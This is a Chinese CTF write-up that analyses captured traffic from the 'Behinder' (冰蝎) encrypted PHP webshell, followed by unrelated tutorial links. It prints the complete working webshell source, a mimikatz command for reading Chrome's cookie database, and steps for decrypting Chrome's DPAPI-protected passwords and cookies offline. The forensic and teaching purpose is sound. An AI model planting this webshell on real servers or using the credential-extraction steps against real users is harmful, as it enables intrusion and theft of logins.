记一次对“冰蝎”一句话木马流量的分析
本文作者:gtfly,由“合天智汇”公众号首发,未经允许,禁止转载!
预备知识
“冰蝎”php一句话木马分析
“冰蝎”是什么?它是一款动态二进制加密网站管理客户端,它可以在HTTP明文协议中建立加密隧道,可以用于躲避传统的WAF、IDS等设备的检测。项目地址:
https://github.com/rebeyond/Behinder
“冰蝎”一句话木马可由Java、php、.net等语言来实现,我们以php为例来看这种新型的php一句话木马的实现:
<?php
@error_reporting(0);
session_start();
//如果接收到pass参数,则会生成16位的随机秘钥,存储到session中
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
//如果没接收到pass参数,则利用存储到session的秘钥进行解密
else
{
$key=$_SESSION['k'];
//接收POST来的加密后的待执行命令
$post=file_get_contents("php://input");
//如果不能加载openssl扩展,则使用base64解码
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
//使用openssl进行AES解密
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
/*
将解密后的$Ppost以`|`分割为数组;例如$post为assert|eval('phpinfo();'),那么分割后为:
array("assert", "eval('phpinfo();')")
*/
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
//创建C类,利用__construct中的eval来执行解密后的值
@new C($params);
}
?>
离线导出Chrome浏览器中保存的密码
DPAPI,Data Protection Application Programming Interface,是Windows系统的一个数据保护接口,主要用于保护加密的数据。Chrome使用DPAPI保存了我们的登录密码和cookie值
用户使用Chrome访问网站进行登录时,可以选择是否保存密码。当选择保存密码时,Chrome先将密码进行加密,再保存在SQLite数据库文件中,数据库文件路径位于:
%LocalAppData%\Google\Chrome\User Data\Default\Login Data
同上,保存Cookie时,数据库文件路径为:
%LocalAppData%\Google\Chrome\User Data\Default\Cookies
存储的cookie值被加密为DPAPI blob来进行保护;我们可以通过使用Mimikatz这个工具来对Chrome中的SQLite数据库进行解析:
mimikatz dpapi::chrome /in:'%LocalAppData%\Google\Chrome\User Data\Default\Cookies'
解密DPAPI blob用到的相关概念:
- DPAPI blob:一段密文,可以使用Master Key对其解密
- Master Key:64字节,用于解密DPAPI blob;使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中
- Master Key file:二进制文件,可以使用用户登录密码对其解密,得到Master Key
得到DPAPI blob、Master Key file和用户登录密码后,便可通过Windows Password Recovery这个工具解密Master Key file得到Master Key,再通过Master Key解密DPAPI blob,从而获得明文。详细DPAPI的介绍可参考文末文章。
3CTF复赛“这是捕获的黑客攻击数据包”流量分析
用Wireshark打开后,首先看其http流量,发现主要对upload.php
、upload/20190918/file_5d81f9f4d22d41.67475082.php
这两个php页面进行了请求:
右键,追踪upload.php
的tcp流,发现其向upload.php
上传了一个shell.php
文件,内容为上面的“冰蝎”一句话木马:
上传后,服务器端返回了上传成功后的文件路径:
接着,追踪upload/20190918/file_5d81f9f4d22d41.67475082.php
的tcp流:
可以看到,其分别用?pass=257
和?pass=790
进行了请求,服务端返回了生成的秘钥和session名称;其对应信息:
参数 Cookie 秘钥 pass=257 PHPSESSID=3ctuh22vtilpn6dmhfiretvve8 23125af46e7c5a1f pass=790 PHPSESSID=hie9ignjc1393vr719m0n38872 d59042be6e437849
在当前页面搜索pass=257
请求时返回的session名称,发现只有生成返回时出现了一次,其他的请求使用的都是pass=790
请求时返回的session名称,那么可以知道其他请求所带的加密信息的解密秘钥为d59042be6e437849
:
之后,将这些请求信息解密,步骤:
在Wireshark选择 文件
->导出对象
->http
:
得到文件如下:
其中,file_5d81f9f4d22d41.67475082(*).php
内容均为客户端发送的加密的字符串。写脚本批量解密:
<?php
$key = 'd59042be6e437849';
for($i=1;i<=39;$i++){
//$post = file_get_contents('/home/gtfly/下载/file_5d81f9f4d22d41.67475082.php');
$post = file_get_contents('/home/gtfly/下载/file_5d81f9f4d22d41.67475082('."$i".').php');
$post=openssl_decrypt($post, "AES128", $key);
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
$params = preg_replace('/eval/', 'echo', $params);
eval($params);
}
?>
得到的php代码都很类似,目的都是获取目标主机上的特定文件内容:
最后一行,路径格式为Master Key file的格式:
C:/Users/shadow/AppData/Roaming/Microsoft/Protect/S-1-5-21-2127750816-4215895028-2373289296-1001/6ecf76bd-1803-437e-92e6-28dd36c907aa
找到其解密前的内容,搜索含有此内容的数据包,查看对应的服务端返回的内容:
可以看到里面含有Master Key file的名字,先将其保存下来
继续看解密得到的内容,在Master Key file上面发现有个文件名为password.txt
:
找到其加密字符串的位置(最后一次对话),解密其对应的服务端返回的字符串:
<?php
$key = 'd59042be6e437849';
$post = 'dMbFVmyUlb8MNJR1iwAN6n0CrkPTl/pfedppzkLxWWzQvkhWqXgA6UMbiqkE0LNg';
$post=openssl_decrypt($post, "AES128", $key);
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
var_dump($arr);
base64解码,得到p@ssw0rd
解密的内容中,还有个路径为C:/Users/shadow/AppData/Local/Google/Chrome/User Data/Default/Cookies
,根据对应的密文追踪流,发现服务器返回了SQLite3数据库的数据:
将其导出,步骤:
显示和保存数据设为原始数据,保存为文件sss
binwalk查看其隐藏的文件类型,可以看到其识别出了SQLite3数据库:
dd将数据库分割开:
进入数据库,查看其内容和字段信息:
可以看到,cookies表中有个encrypted_value BLOB
字段,将其导出:
from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("ggg.db")
cursor = conn.cursor()
cursor.execute('select encrypted_value BLOB from cookies') # 导出encrypted_value BLO字段
for result in cursor.fetchall():
print(result)
print (binascii.b2a_hex(result[0]))
f = open('save.txt', 'wb') # 保存为save.txt
f.write(result[0])
f.close()
那么目前我们获得的信息:
DPAPI blob
Master Key file
password
则可推测password.txt存储的是用户登录密码,使用这个密码对Master Key file解密得到Master Key,即可利用Master Key对数据库中的DPAPI blob解密
Master Key file保存时格式要如下(保存Wireshark中的流量时,要去除不属于这个文件的内容,可参考电脑自带的Master Key file文件内容),否则Windows Password Recovery不能成功打开:
之后要将其命名为上面解密得到的Master Key file文件名:
6ecf76bd-1803-437e-92e6-28dd36c907aa
打开Windows Password Recovery,选择Utils
->DPAPI Decoder and Analyser
->Decrypt DPAPI data blob
:
选择DPAPI blob file为save.txt,即保存的cookies表中的encrypted_value BLOB
字段的值:
之后选择Master Key file6ecf76bd-1803-437e-92e6-28dd36c907aa
,最后输入User SID,即Master Key file前的路径名S-1-5-21-2127750816-4215895028-2373289296-1001
,和用户登录密码,即上面得到的p@ssw0rd
得到解密后的结果,即flag:
其他
题目文件:
链接:https://pan.baidu.com/s/1AQcldQ_WkcghKigK83ndZQ 提取码:tirm
复制这段内容后打开百度网盘手机App,操作更方便哦
参考文章:
https://bbs.pediy.com/thread-247634-1.htm
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A6%BB%E7%BA%BF%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/
实践操作:
实践操作可以到合天网安实验室(http://www.hetianlab.com/cour.do?w=1&c=CCID9012-d1c7-459f-a4f1-da5898cc13bd)动手操作实验——恶意流量分析,已经为你搭建好了虚拟环境,本实验将带领大家走进分析网络流量的大门!
原文地址:https://www.cnblogs.com/hetianlab/p/11926714.html
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 一分钟学Python| Python的函数(上)
- 数据分析与数据挖掘 - 07数据处理
- MySql8.0.19最新版本创建用户分配权限演示,You have an error in your SQL syntax权限分配问题解决方法
- linux服务器oracle数据库导出dmp文件功能演示,备份数据库命令。exp命令显示command not found解决方法,EXP-00028: 无法打开dmp进行写入问题解决
- oracle数据库exp命令导入导出dmp文件演示,oracle数据库备份还原功能
- oracle数据库impdp导入dmp文件功能演示,imp导入IMP-00038: Could not convert to environment character sets handle问题解决
- 弄懂这 5 个问题,拿下 Python 迭代器!
- windows、linux下命令行登录oracle数据库方法,查询sga参数值sql语句
- oracle数据库查询open_cursors值的sql语句,达梦数据库查询MAX_SESSION_STATEMENT值方法,MAX_SESSION_STATEMENT的最大值、上限是多少。
- 达梦数据库启用日志方法,达梦数据库查看日志是否启用,达梦数据库日志文件位置查找
- JavaScript 技术篇 - js 查看哪个元素获取了焦点,js 指定元素获取焦点方法
- 工作10年后,再看String s = new String("xyz") 创建了几个对象?
- Linux达梦数据库:通过disql登录命令行操作数据库,打开达梦数据库自带的数据库管理连接工具
- Dbvis数据库连接工具将查询出数据转化为sql插入语句方法
- JavaScript 技术篇 - js通过xpath路径定位元素方法